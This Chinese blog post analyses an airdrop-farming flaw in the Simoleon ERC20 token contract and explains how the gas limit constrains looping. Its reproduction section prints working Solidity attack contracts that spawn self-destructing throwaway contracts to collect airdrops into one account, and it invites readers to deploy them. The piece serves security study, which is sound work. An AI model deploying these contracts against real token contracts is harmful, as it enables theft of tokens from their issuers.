区块链安全—循环Dos安全分析(一)

一、问题简介

熟悉以太坊的读者都清楚,在以太坊机制中,为了防止恶意节点滥用区块资源、防止Dos攻击,所以引入了Gas机制。然而防御也是存在某些漏洞隐患的,今天的文章中,我们就根据某些实例中的代码编写问题来展开叙述一下Dos循环的安全漏洞。

也就是说,在合约编写者设计合约代码的时候,不宜使用太大次的循环。由于每一笔交易都是会消耗一定的gas,而实际消耗gas值的多少取决于当前交易内部的复杂度。倘若一个交易中存在大量的循环,那么交易的复杂度会变的更高,此时当超过允许的最大gas消耗量时,会导致交易失败。

二、代码分析

Simoleon合约

下面我们详细的分析一下相关问题的代码情况。

简单来说Simoleon是一个私有的token代币名称,而根据其具体的合约分析,其实现机制中存在很严重的漏洞,从而导致用户进行薅羊毛的过程来恶意获得代币。下面我们来看一下具体的代码:

被攻击的合约地址为0x86c8bf8532aa2601151c9dbbf4e4c4804e042571,其合约代码在链接:https://etherscan.io/address/0x86c8bf8532aa2601151c9dbbf4e4c4804e042571#code中。

下面我们详细的分析一下代码的具体过程。

代码起始部分定义了一个父合约ERC20Interface。在父合约中我们看到了7个函数,而这些函数就是我们上一篇文章中分析过的ERC20代币的interface。也更好的反正了我们当时所说几乎所有的代币目前都是基于ERC20而创建的。而函数的具体用法大家可以参照我上一篇文章。

pragma solidity ^0.4.8;

contract ERC20Interface {
    function totalSupply() public constant returns (uint256 supply);
    function balance() public constant returns (uint256);
    function balanceOf(address _owner) public constant returns (uint256);
    function transfer(address _to, uint256 _value) public returns (bool success);
    function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
    function approve(address _spender, uint256 _value) public returns (bool success);
    function allowance(address _owner, address _spender) public constant returns (uint256 remaining);

    event Transfer(address indexed _from, address indexed _to, uint256 _value);
    event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}

之后进入了主合约阶段:

contract Simoleon is ERC20Interface {
    string public constant symbol = "SIM";
    string public constant name = "Simoleon";
    uint8 public constant decimals = 2;

    uint256 _totalSupply = 0;
    uint256 _airdropAmount = 1000000;
    uint256 _cutoff = _airdropAmount * 10000;

    mapping(address => uint256) balances;
    mapping(address => bool) initialized;

    // Owner of account approves the transfer of an amount to another account
    mapping(address => mapping (address => uint256)) allowed;

在变量的初始化中,合约定义了六个成员变量。分别表示:合约类型、合约名字、小数位数、合约总金额、合约空投金额、账户余额以及账户布尔定义

合约名为:Simoleon,并且继承了ERC20Interface。也就意味着合约实现了多态性并且根据自己的目标重定义了函数。下面,我们来看一下具体函数的实现方法。

    function Simoleon() {
        initialized[msg.sender] = true;
        balances[msg.sender] = _airdropAmount * 1000;
        _totalSupply = balances[msg.sender];
    }

    function totalSupply() constant returns (uint256 supply) {
        return _totalSupply;
    }

    // What's my balance?
    function balance() constant returns (uint256) {
        return getBalance(msg.sender);
    }

    // What is the balance of a particular account?
    function balanceOf(address _address) constant returns (uint256) {
        return getBalance(_address);
    }

首先是构造函数Simoleon ()。在构造函数中,合约会将初始地址sender标记为true(此标记用于记录账户是否是首次出现),之后会初始化余额为_airdropAmount * 1000,然后更新合约总金额。

而下面的三个函数为constant类型的查看函数,用于对_totalSupply 、getBalance(msg.sender) 、getBalance(_address)的值进行查看。

之后我们就进入了此合约比较关键的函数--初始化函数。

    // internal private functions
    function initialize(address _address) internal returns (bool success) {
        if (_totalSupply < _cutoff && !initialized[_address]) {
            initialized[_address] = true;
            balances[_address] = _airdropAmount;
            _totalSupply += _airdropAmount;
        }
        return true;
    }

我们来对此函数进行下分析,在此函数中,我们会传入一个地址。首先会判断总金额有没有达到我们规定的上限以及我传入的地址是否被标记过(即是否是初次调用初始化函数)。若满足条件则进入函数体:将地址标记为真,然后向新合约赠送空投(即注册就送一些钱),之后更新合约中总金额。

之后是转账函数:

    // Transfer the balance from owner's account to another account
    function transfer(address _to, uint256 _amount) returns (bool success) {
        initialize(msg.sender);

        if (balances[msg.sender] >= _amount
            && _amount > 0) {
            initialize(_to);
            if (balances[_to] + _amount > balances[_to]) {

                balances[msg.sender] -= _amount;
                balances[_to] += _amount;

                Transfer(msg.sender, _to, _amount);

                return true;
            } else {
                return false;
            }
        } else {
            return false;
        }
    }

在转账函数调用的过程中,我们传入收款方以及转账金额。首先是需要对此地址是否进行过初始化进行判断。在完成金额判断后(balances[msg.sender] >= _amount && _amount > 0 )我们调用初始化函数(用于防止传入的to地址是首次调用的情况)。此时我的to也就无非两种情况:①不是第一次使用初始化,此时初始化无效。②是第一次初始化,合约赠送代币。

之后跳入if (balances[_to] + _amount > balances[_to])。用于防止溢出,之后进行转账记录并emit相应的事件(方便管理员进行后续的查看工作以及追踪交易记录)。

    function transferFrom(address _from, address _to, uint256 _amount) returns (bool success) {
        initialize(_from);

        if (balances[_from] >= _amount
            && allowed[_from][msg.sender] >= _amount
            && _amount > 0) {
            initialize(_to);
            if (balances[_to] + _amount > balances[_to]) {

                balances[_from] -= _amount;
                allowed[_from][msg.sender] -= _amount;
                balances[_to] += _amount;

                Transfer(_from, _to, _amount);

                return true;
            } else {
                return false;
            }
        } else {
            return false;
        }
    }

上面的transferFrom也是如此,只不过使用了ERC20中的allowed变量来允许代转账操作。(详细的解释看我上一篇文章)

再之后就是一些基础的函数:

function approve(address _spender, uint256 _amount) returns (bool success) {
        allowed[msg.sender][_spender] = _amount;
        Approval(msg.sender, _spender, _amount);
        return true;
    }

    function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
        return allowed[_owner][_spender];
    }



    function getBalance(address _address) internal returns (uint256) {
        if (_totalSupply < _cutoff && !initialized[_address]) {
            return balances[_address] + _airdropAmount;
        }
        else {
            return balances[_address];
        }
    }

分别是授权函数、查看allowed值的函数、以及获取余额的函数。而获取余额函数中分了两种情况:①未初始化的地址,返回空投金额。②初始化过的,返回正常地址。

而下面我们来看一下具体的安全隐患。

因为合约设计的本意就是给未进行初始化的账户赠送1000000 wei的以太币,所以我们理所应当的就会想到我们可以多创建几个小号来获得奖励,并将小号中的钱都转给一个账户。以此来达到薅羊毛的作用。

我们来看一下真实合约中存在的攻击。

image.png

这个用户就是在进行合约部署中采取了上述的薅羊毛攻击。从而使自己的余额达到了7,110,000 SIM之多。而在分析该账户的实际调用中,我们发现该账户生成了多个不同地址的合约,并且将每个临时合约所获得的奖励金额全部转到攻击地址中,之后以达到薅羊毛的作用。

而下面我们进行具体的代码分析。

在薅羊毛的过程中,最重要的部分就是这个转账函数。攻击者可以编写攻击合约并new出许多临时合约,并在这些合约中调用此函数,将_to的地址设置为攻击合约地址。并将_amount设置为转账金额,以此达到无限转账的目的。而在黑客攻击的时候,基于Gas值的限制,所以他无法循环调用多次new操作,因为这样会消耗大量的gas。

如图所示,当黑客将循环设置为80的时候,tx失败。而50则可以正常进行,这就是因为80次交易会超出gas的limitation。

类似的问题我们还有Lctf中的一个题目。

链接如下:https://paper.seebug.org/747/。大家可以下去后自行研究。

三、攻击复现

在网上的一些材料中也有对此攻击的具体实现手段,但是唯独缺少了一些攻击手段实现的脚本,所以下面我们针对此问题着手进行脚本的撰写,并模拟部署攻击环节。

下面我们部署一下相应的合约。

合约采用0.4.8版本。

首先我们放上部署的被攻击合约:

pragma solidity ^0.4.8;

contract ERC20Interface {
    function totalSupply() public constant returns (uint256 supply);
    function balance() public constant returns (uint256);
    function balanceOf(address _owner) public constant returns (uint256);
    function transfer(address _to, uint256 _value) public returns (bool success);
    function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
    function approve(address _spender, uint256 _value) public returns (bool success);
    function allowance(address _owner, address _spender) public constant returns (uint256 remaining);

    event Transfer(address indexed _from, address indexed _to, uint256 _value);
    event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}

contract Simoleon is ERC20Interface {
    string public constant symbol = "SIM";
    string public constant name = "Simoleon";
    uint8 public constant decimals = 2;

    uint256 _totalSupply = 0;
    uint256 _airdropAmount = 1000000;
    uint256 _cutoff = _airdropAmount * 10000;

    mapping(address => uint256) balances;
    mapping(address => bool) initialized;

    // Owner of account approves the transfer of an amount to another account
    mapping(address => mapping (address => uint256)) allowed;

    function Simoleon() {
        initialized[msg.sender] = true;
        balances[msg.sender] = _airdropAmount * 1000;
        _totalSupply = balances[msg.sender];
    }

    function totalSupply() constant returns (uint256 supply) {
        return _totalSupply;
    }

    // What's my balance?
    function balance() constant returns (uint256) {
        return getBalance(msg.sender);
    }

    // What is the balance of a particular account?
    function balanceOf(address _address) constant returns (uint256) {
        return getBalance(_address);
    }



    // internal private functions
    function initialize(address _address) internal returns (bool success) {
        if (_totalSupply < _cutoff && !initialized[_address]) {
            initialized[_address] = true;
            balances[_address] = _airdropAmount;
            _totalSupply += _airdropAmount;
        }
        return true;
    }




    // Transfer the balance from owner's account to another account
    function transfer(address _to, uint256 _amount) returns (bool success) {
        initialize(msg.sender);

        if (balances[msg.sender] >= _amount
            && _amount > 0) {
            initialize(_to);
            if (balances[_to] + _amount > balances[_to]) {

                balances[msg.sender] -= _amount;
                balances[_to] += _amount;

                Transfer(msg.sender, _to, _amount);

                return true;
            } else {
                return false;
            }
        } else {
            return false;
        }
    }

    // Send _value amount of tokens from address _from to address _to
    // The transferFrom method is used for a withdraw workflow, allowing contracts to send
    // tokens on your behalf, for example to "deposit" to a contract address and/or to charge
    // fees in sub-currencies; the command should fail unless the _from account has
    // deliberately authorized the sender of the message via some mechanism; we propose
    // these standardized APIs for approval:
    function transferFrom(address _from, address _to, uint256 _amount) returns (bool success) {
        initialize(_from);

        if (balances[_from] >= _amount
            && allowed[_from][msg.sender] >= _amount
            && _amount > 0) {
            initialize(_to);
            if (balances[_to] + _amount > balances[_to]) {

                balances[_from] -= _amount;
                allowed[_from][msg.sender] -= _amount;
                balances[_to] += _amount;

                Transfer(_from, _to, _amount);

                return true;
            } else {
                return false;
            }
        } else {
            return false;
        }
    }

    // Allow _spender to withdraw from your account, multiple times, up to the _value amount.
    // If this function is called again it overwrites the current allowance with _value.
    function approve(address _spender, uint256 _amount) returns (bool success) {
        allowed[msg.sender][_spender] = _amount;
        Approval(msg.sender, _spender, _amount);
        return true;
    }

    function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
        return allowed[_owner][_spender];
    }



    function getBalance(address _address) internal returns (uint256) {
        if (_totalSupply < _cutoff && !initialized[_address]) {
            return balances[_address] + _airdropAmount;
        }
        else {
            return balances[_address];
        }
    }
}

之后我们在测试账号中部署Simoleon合约。

image.png

我们可以看到有如下一些函数。

image.png

我们可以对一些函数运行,例如我们对当前账户的余额进行查看,得到:

image.png

而此处的1000000000则是系统赠予的初始金额(空投)。

下面我们攻击的思路就是利用合约new出来许多新的临时地址,然后调用临时地址的转账函数把系统赠送的钱转给同一个账户。

下面我们看具体的合约内容:

contract attacker{
   address addr = 0x692a70d2e424a56d2c6c27aa97d1a86395877b3a;
   Simoleon target = Simoleon(addr);

  
//view contract's balance
   function viewBalance() public constant returns(uint256){
       return target.balanceOf(this);
       
   }
}

首先我们先部署一个攻击者收钱合约。地址为:0xfc713aab72f97671badcb14669248c4e922fe2bb

image.png

我们部署此合约的目的有两个,一是用于查看此账户的余额(因为它作为最后的总收款账户),二是用于为临时合约们提供转账地址。

我们可以看到合约现在的余额是系统赠送的那1000000 wei

下面我们部署攻击合约,首先是临时合约对象的部署:

contract attack{
    
    address target = 0x692a70d2e424a56d2c6c27aa97d1a86395877b3a;
    
    function attack() {
        target.call(bytes4(keccak256("transfer(address,uint256)")),0xfc713aab72f97671badcb14669248c4e922fe2bb, 1000000);
        selfdestruct(this);
    }
}

函数很简单,target为我们Simoleon的部署合约地址,在构造函数中使用call方法调用了target的transfer()函数,并将接受地址设置为我们的attacker合约地址,并设置转账金额为赠送金额1000000

之后我们部署build合约,用于循环创建临时合约:

contract bulid{
    function bulid() payable{    }  
    function deploy() public returns(bool){
        for(int i=0;i<=5;i++){
            new attack();
        }
    }
    
    function () payable {
    }
}

i的参数我起初设置的为5,用于进行小规模测试。并循环创建attack()临时合约。

我们进行了攻击,之后查看我们账户的余额,发现成功的获取了六次循环的6000000 。加上我们攻击账户本身赠送的一份钱,共有7000000。

下面我们加大循环次数:

将参数设置为25

可以运行:

image.png

将参数设置为50

同样部署成功。

image.png

将参数设置为80

时间等待特别长,这就体现了分布式的交易速度慢的问题。

发现网页崩溃emmmm,意味着超过了最大限度。

但是我们的攻击最后达成了,我们成功的利用薅羊毛的技术拿到了系统的许多金钱。

大家可以根据我提供的代码进行部署,并执行攻击操作。

四、参考文献

本稿为原创稿件,转载请标明出处。谢谢。

原刊物发表于:https://xz.aliyun.com/t/3803
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 159,015评论 4 362
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,262评论 1 292
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 108,727评论 0 243
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,986评论 0 205
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,363评论 3 287
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,610评论 1 219
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,871评论 2 312
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,582评论 0 198
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,297评论 1 242
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,551评论 2 246
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,053评论 1 260
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,385评论 2 253
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,035评论 3 236
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,079评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,841评论 0 195
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,648评论 2 274
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,550评论 2 270

推荐阅读更多精彩内容